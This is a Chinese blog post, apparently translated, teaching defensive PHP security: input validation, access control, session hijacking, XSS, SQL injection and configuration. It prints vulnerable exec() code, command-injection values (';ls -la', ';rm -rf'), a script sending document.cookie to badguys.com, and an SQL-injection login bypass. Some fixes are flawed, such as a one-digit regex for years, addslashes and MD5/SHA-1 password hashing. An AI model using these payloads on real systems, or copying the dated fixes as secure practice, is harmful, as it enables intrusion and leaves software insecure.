阮一峰的IT笔记:首页 -> 分类 -> PHP 查看所有文章:按分类 | 按月份

如何使PHP运行的更安全?

PHP对于飞速发展的动态网站来说是一门恐怖的语言。它对于新手来说也有很多友好的性质,比如变量不需要定义就可以直接使用。但是,一些类似的这种性质使程序员不会注意到在网站应用方面的一些安全问题。一个非常著名的邮件列表就充满很多条了对PHP应用有漏洞的例子,但一旦你理解了PHP应用中这些基本的漏洞,PHP将变得比其他任何语言都安全。

在这篇文章中,我会详细的说说明在一般PHP程序中常见的导致安全问题的错误。而且会展示给你什么是不能做的,还有这些特殊的漏洞是怎么被发现的,我希望你不但可以懂得怎么来避免这些特殊的错误,而且可以知道它们为什么会导致安全问题。了解每种可能出现的漏洞能帮助你避免在编写PHP程序时发生同样的错误。安全是一个过程,而不是一个产品,通过在开发应用程序的过程中了解安全问题可以让你编出更高效更健壮的代码。

Unvalidated Input Errors 不受重视的输入错误

最常见的PHP安全问题之一就是对用户输入过滤的漏洞。一般用户提交数据都是不可信任的。你应该假设所有所有访问你网站的用户都是恶意的。非正常输入是很多PHP应用程序漏洞的最根本的原因,我们将在后面进行讨论。

现在给大家一个例子,你可以写下面这段代码来允许用户看到可以一个通过执行UNIX中的cal命令来显示特殊月份。

$month = $_GET[month];
$year = $_GET[year];

exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r<BR>"; }
print "</PRE>";

这段代码有很多安全问题。比如$_GET[month]和$_GET[year]没有过滤就直接赋给了$month和$year,如果用户输入的月份是1到12之间,而且年份是4位数字当然是没有问题。不过,恶意的用户会在年份后面加上一个";ls -la",这样他就可以以列表的方式看到你网站的所有目录。更加极端的用户会在年份后面加上";rm -rf",这样就能删掉你的整个网站!

改正这个安全问题的最好的方法是在接收用户输入的数据时进行检测,使他成为你所希望的格式。不要使用JS来验证,这种验证很容易就能绕过,比如建立一个自己的表单来提交数据,或者用浏览器禁用JS。你应该用PHP代码来确保输入的年份和月份是数字,而且必须是数字。就象下面的代码这样:

$month = $_GET[month];
$year = $_GET[year];

if (!preg_match("/^[0-9]$/", $month)) die("Bad month, please re-enter.");
if (!preg_match("/^[0-9]$/", $year)) die("Bad year, please re-enter.");

exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r<BR>"; }
print "</PRE>";

这样的代码就能安全的使用,而不用考虑用户提交的数据会使你的应用程序产生错误,或导致服务器运行用户提交的非法代码。正则表达式是验证数据的一个非常有效的工具。虽然他很难完全掌握,但在这种情况下还是非常实用的。

你应该验证用户提交的数据,来拒绝所有非法的数据。一定不要在没有验证之前接收任何数据,除非你可以确定它一定是安全的数据。这是一个常见的安全问题。但有时,恶意的用户会通过一些方法来提交一些特定的数据,这样可以绕过你的验证,而且会起到有害的作用。

所以你应该严格的验证提交的数据,如果一些字符是不需要的,那么你应该过滤掉这些字符或者直接拒绝接收这些的数据。

Access Control Flaws 非法控制漏洞

这是一个对PHP应用程序来说非必要的验证,但却是十分重要的,就是非法控制。比如有一个管理页,在这个页中可以修改网站的配置,或会显示一些敏感的信息。

你应该在执行每一个PHP应用页面时对用户的权限进行检查。如果你只在首页检查了用户的权限,那么恶意的用户可以直接在地址栏输入地址来进入后面的那些没有进行权限判断的页面。
建议进行严格的检查。如果可能的话,你可以根据用户的IP来判断他们的权限。另一个好的方法是把把你不想让别人访问到的页面放到一个特殊的目录,并用apache中的.htaccess来保护这个目录。

把网站的配置文件放在网站可以直接访问的目录之外。这种配置文件包括数据库的密码和其他一些会让恶意用户利用来攻击你的网站的信息。用PHP的include函数来包含这些文件。虽然做这些事感觉有点多余,但对于网站的安全还是有积极的作用的。

例如我写的PHP应用程序。所有的自定义的函数库都放在一个includes的文件夹中。一般把这些被包含的文件取一个以.php为后缀的文件名,这样就算你所做的保护措施都被绕过了,服务器也会把这些文件当做PHP文件来解析,而不会显示这些文件的内容。www和admin文件夹是唯一的可以通过URL直接访问的文件夹。admin文件夹受到.htaccess的保护,只允许知道储存在.htpasswd中的用户名和密码的用户可以访问。

/home
/httpd
/www.example.com
.htpasswd
/includes
cart.class.php
config.php
/logs
access_log
error_log
/www
index.php
/admin
.htaccess
index.php

你应该设置你的apache的默认主页名是index.php并且确保每个目录都有index.php这个文件。当别人访问这些你不想让别人访问的目录时让他转向到网站的主页,比如存放图片的目录或其他类似的。

千万不要把你的备份文件取文件名为.bak的后缀,并放在可以直接通过URL访问的目录。如果你这样做了,那么在这些文件中的PHP代码将不会被解析,甚至可能会被用户通过URL直接下载。如果这些文件包含密码或其他敏感的信息,那么有可能会被别人知道,甚至可能被搜索引擎,比如GOOGLE,直接搜索到而显示在页面上。一定要把这些文件重新命名为 .bak.php 为后缀的文件,这样会安全一些,不过最好的解决方法还是用象CVS那样控制。CVS学起来有一些复杂,不过你学习的所花的时间会在以后得到回报。这样的系统可以让你把每个不同版本的程序保存在不同的文件夹,如果你的程序以后出了问题,这些以前保存的版本可能会成为你无价的资源。

Session ID Protection Session ID 保护问题

Session ID 错了将会使PHP网站导致一些问题。PHP的session跟踪机制采用唯一的ID来识别不同的用户,但如果这个ID被别的用户知道了,那么他就可以"抢劫"这个用户的ID而看到一些机密的信息。Session ID "抢劫"是不可能完全避免的,你应该熟悉它可以造成的破坏和造成破坏的方法,这样你可以最大程度上减小这个损害。

举例说明,当一个用户已经通过验证了并且分配给他了一个session ID,但你在显示一些敏感信息时(比如修改密码)应该再次验证这个用户。一定不要在用户修改密码时而不要求他输入原来的密码。你也应该避免只通过验证 session ID的方法就把一些非常敏感的信息显示给用户,比如信用卡号。

用户重新登陆后你应该通过 session_regenerate_id这个函数来重新分配一个新的session ID给他。有一些"抢劫"session ID的人可能会在登陆前就设置好自己的session ID。通过重新分配session ID的方法可以有效的防止这个。

如果你的网站是运行在一个公共的服务器上时,你应该清楚的意识到任何session变量都可以很容易的被同样在这个服务器上的别的用户知道。解决这个问题的方法是把所有的敏感信息都储存在数据库中,并通过session ID来唯一关联他们。如果你非要把密码保存在session变量中,一定不要以明文方式保存,你应该用sha1() (PHP 4.3+) 或 md5()函数来加密他们。

if ($_SESSION[password] == $userpass) {
// do sensitive things here
}

上面这段代码是不安全的,因为密码是以明文的方式保存在session变量中。所以你应该用下面这段代码来替代他:

if ($_SESSION[sha1password] == sha1($userpass)) {
// do sensitive things here
}

SHA-1算法也有漏洞,比如可以暴力破解。尽管如此,这项技术还是被广泛的使用来储存密码。必要时可以用MD5函数来储存密码,但是你得记住,现在的技术已经有可能在一小时内破解MD5所加密的密码。理想的是用一个函数比如SHA-256来保存密码,这种函数可以在PHP上运用,但是完全独立于 PHP。

Bruce Schneier's网站是一个非常好的资源用来学习一些更高级的东西。

Cross Site Scripting (XSS) Flaws 跨站点脚本漏洞(XSS)

跨站点脚本漏洞也是一个用户验证的问题,例如一个恶意的用户在提交的数据中插入了一段脚本命令,最常见的就是JS,而这段脚本被别的用户执行了。

举个例说,如果你的应用程序包含一个用户可以提交信息的论坛,而这些信息任何人都可以看见,那么如果一个恶意的用户提交了一个<sctipt> 标签,比如下面的代码,那么就有可能在使这个页跳转到一个他们控制的网站,这样他们就可以通过GET的方式取得你的cookie和session信息,然后重新把页面跳转回原来的页面,就象什么都没发生一样。那么恶意的用户就可以收集别的用户session和cookie的信息,然后用这些数据来"抢劫 "session ID或用其他的方式攻击你的站点。

<script>
document.location =
'http://www.badguys.com/cgi-bin/cookie.php?' +
document.cookie;
</script>

为了防止这种攻击,你必须屏蔽掉用户输入的<script>标签,而把他们转换成<和>的HTML代码的实体,这样别的用户通过查看HTML源码看到的就是 &lt;和 &gt; ,而不会是script代码了。
cgisecurity.com 站点提供了大量的跨站点脚本漏洞的资料,而且解释的非常好。极力推荐大家阅读它并理解它。XSS漏洞是非常难发现的,也是在我们编写PHP程序时一个非常容易犯的错误。

SQL Insertion Vulnerabilities SQL注入攻击

SQL注入攻击也是一种输入验证的漏洞。特别的是,它们可以利用数据库查询。举例来说,在你的PHP脚本中,你可能会要求用户输入他们的ID和密码,然后检查他们的密码和数据库中的用户信息是不是吻合。

SELECT * FROM users WHERE name='$username' AND pass='$password';

但,如果用户在登陆时用另外一种迂回的方法,你可以输入下面的信息做为他的密码。

' OR '1'='1

这样就会导致SQL查询语句变成下面这样:

SELECT * FROM users WHERE name='known_user' AND pass='' OR '1'='1';

这样就会在不加以验证的情况下返回用户名,因为在任何情况下上面的SQL语句都是正确的,因为'1'='1'永远正确。这样恶意用户就可以随便选一个用户名登陆你的系统。你可以在PHP.INI中打开magic_quotes_gpc。但如果你用的是共享的服务器,而你没有权限修改php.ini的话,你可以用代码来检测magic_quotes_gpc是否是on,如果是off的话,那么你应该在把用户提交的数据用addslashes()函数过滤,然后提交给数据库。代码如下:

if (magic_quotes_gpc()){
$username = $_GET["username"];
} else {
$username = addslashes($_GET["username"]);
}

如果magic_quotes_gpc是on的话,就不要用addslashes()函数了,如果你用了的话,就时一些特殊符号转义两次,这样会导致错误。

SQL注入漏洞不会总是导致扩大权限。比如,恶意用户可以通过他得到已选择的数据库中的记录。

在用户提交数据给数据库查询时,你应该要检查是否包含 ' " , ; ( ) 这些符号,甚至要检查是否包含关键字,比如 FROM , LIKE , WHERE 等。这写是SQL注入攻击中常见的字符,所以当这些字符是不必要的话,你应该在用户提交数据时过滤掉,那么你就不用担心SQL注入这种漏洞了。

Error Reporting 错误报告

你应该保证在你的php.ini中显示错误报告的变量的值是0,也就是不显示任何错误报告。就算你的代码有问题,比如数据库连接发生错误,也不要把它显示给终端的用户。恶意的用户会利用这些错误知道你的应用程序内部是怎么运行的,他们一般是通过提交非法的数据来查看你的应用程序显示的错误报告。

display_errors的值你可以在运行程序时通过ini_set函数来修改,但这没有直接在php.ini文件中修改好。比如当你的程序有致命的错误时,这些错误报告有可能还是会显示出来,比如这个程序不能运行,那么ini_set函数照样也不能运行。

你可以设置error_log的值为1,这样就能经常把你的程序出现的错误写入一个error log中。或者你可以使用自己的error函数,比如在发生错误时发一封email给你报告哪出错了,或者在发生错误时执行别的PHP代码。这是一个明智的预防措施,这样你就可以在恶意用户知道这个漏洞存在之前发现这个漏洞,而及时修补。你可以查看PHP手册中的error handling和set_error_handler()函数

Data Handling Errors 数据处理错误

数据处理错误在PHP程序中不是经常发生,但PHP程序员也应该注意它们。这类错误一般发生在提交的数据不可靠,导致可能被恶意用户中途拦截这些数据并加以修改然后提交给我们的PHP程序。

最常见的数据处理错误是在HTTP传输敏感数据的过程。信用卡号码和用户信息是最常见的敏感数据,比如如果你传送用户名和密码,而通过这个用户名和密码可以取得敏感信息。所以你在传送敏感信息给用户并且显示在用户的浏览器上时应该使用SSL。否则,在你的服务器和终端用户之间的恶意偷听者将会很容易的通过网络数据包取得这些敏感数据。

还有这种错误可能会发生在你通过FTP来更新你的网站的时候,因为FTP是一个不可靠的协议。比如你通过这种不可靠的协议来传送一些文件包含服务器的密码的时候,有可能会被偷听者截取。所以你应该使用可靠的协议比如SFTP或SCP来传送这些敏感的文件。而且千万不要通过EMAIL来传送敏感信息。只要可以读取网络数据的任何人都可以看见你的EMAIL信息。就象你把信息写在明信片背后然后邮寄出去一样。其实实际上被截取的几率很小,但我们也没必要冒这种风险,不是么?

最大程度上减小数据处理错误是非常重要的。比如你的程序是一个网上商城,那么就有必要保存一些交过定单的信用卡的号码超过6个月?你应该把他们保存在不能连上网络的地方,并且和你的服务器不相连。这不但是一种最基本的方法来防止入侵,也可以服务器被入侵后带来的损失。没有什么安全系统是完美的,所以你的安全系统也不是。

Configuring PHP For Security PHP安全配置

一般来说,大部分新的PHP版本会比老的PHP版本安全。但是,如果你的应用程序安装在一个比较古老而且PHP版本比较低服务器上时,那么默认的设置就没有最新版本的PHP中默认的设置来得安全了。

你应该建立一个页面来显示phpinfo()函数来查看你的的PHP.INI中的变量设置,并找到其中不可靠的设置。把这个文件放在一个别人不能访问的地方。因为PHP.INI的设置对黑客收集信息来说非常有用。

下面列举了在PHP设置中的一些建议:

register_globals: 最危险的设置,在以前的PHP版本中默认的是on,但现在的PHP版本中已经默认为OFF了。它把所有用户输入的变量都当作全局变量来解释。请检查这个设置并把他设置为OFF。不要问为什么,没有原因,Just do it!这个设置比其他任何东西造成的安全问题都多。如果你是使用的共享的主机,你应该在每一页都使用ini_set()函数来禁止这个设置,把他设置成 OFF。

Magic Quotes:magic quotes设置回自动把单引号,双引号和反斜线符号自动转义。magic_quotes_gpc提供的是转义GET,POST,COOKIE变量,而 magic_quotes_runtime提供的是转义从数据库或文件中得到的数据。你应该在运行程序时使用ini_get()函数来检查这些设置,如果它们是关闭的话,那么你应该使用addslashes函数手工转义GET,POST,COOKIE变量,代码你可以看上面SQL注入那的例子。

safe_mode:safe_mode设置是一个非常有用的方法来防止非法连接本地文件。你只允许文件的所有者来读取和运行PHP脚本。如果你的程序经常要打开本地文件,那么可以考虑开启这个设置。

disable_functions:这个设置只能在php.ini中修改,而不能在运行程序时修改。这个设置可以让你屏蔽掉某些你不希望使用的函数。它可以防止运行一些有害的PHP代码。有一些函数当你不使用时把它们屏蔽掉是非常有用的,他可以防止别人非法的运行这些函数。

请阅读PHP手册的安全部分并且熟悉它。当有黑客想入侵你的网站时,你会尝到好处。当黑客们放弃攻击你的网站而去攻击另外的容易的目标时,那么你就及格了。

深入学习

下面的这些站点是我推荐你阅读来加强你的安全知识的。新的漏洞和新的攻击方式每时每刻都在更新。所以我在这篇文章的介绍中就说了,"安全是一个过程",而且安全教育也是一个过程,所以你的安全知识必须随时更新。

OWASP: 开源的WEB安全应用程序,是一个不获利的组织,专注于"找出和打击使软件不可靠的根源" ,他们提供的一些资料是无价的,而且会定期举行一些讨论。极力推荐!

CGISecurity.Net::是另外一个非常好的WEB安全站点,他们有许多有趣的FAQ,和一些有深度的安全文档。

请不要忽略文章下面的评论,有一些非常好的而且是最新的信息可以在这些用户的评论中找到。

phpAdvisory:是一个专注于PHP安全问题的网站。它列举一些PHP最近的安全问题而且给出了解决这些问题的方法。

BugTraq邮件列表: 也是一个非常好的安全资源。你如果对PHP安全问题有兴趣的话,你应该经常的关注它。你会对它包含的安全问题的数量感到惊讶,比如我上面提到的SQL注入,跨站点脚本攻击和其他的一些漏洞。

Linux Security:是另外的一个好的站点。因为你极有可能是在LINUX主机上运行你的PHP程序。

总结

就象我在这篇文章中说到的,你在编写PHP程序时应该了解很多的安全问题,而且这些安全问题很多都是别的语言和别的平台也包括的。PHP并不比其他的任何语言安全。最重要的你得使用好。我希望你能在这篇文章中得到乐趣并学会一些东西。

请记住:just because you're paranoid doesn't mean there's no one out to get you

« 测试 Web 应用程序是否存在跨站点脚本漏洞 | 首页 | BBCode »

About

This page contains a single entry from the blog posted on 2006年12月28日 07:03.

The previous post in this blog was 测试 Web 应用程序是否存在跨站点脚本漏洞.

The next post in this blog is BBCode.

Many more can be found on the main index page or by looking through the archives.

Powered by
Movable Type 3.33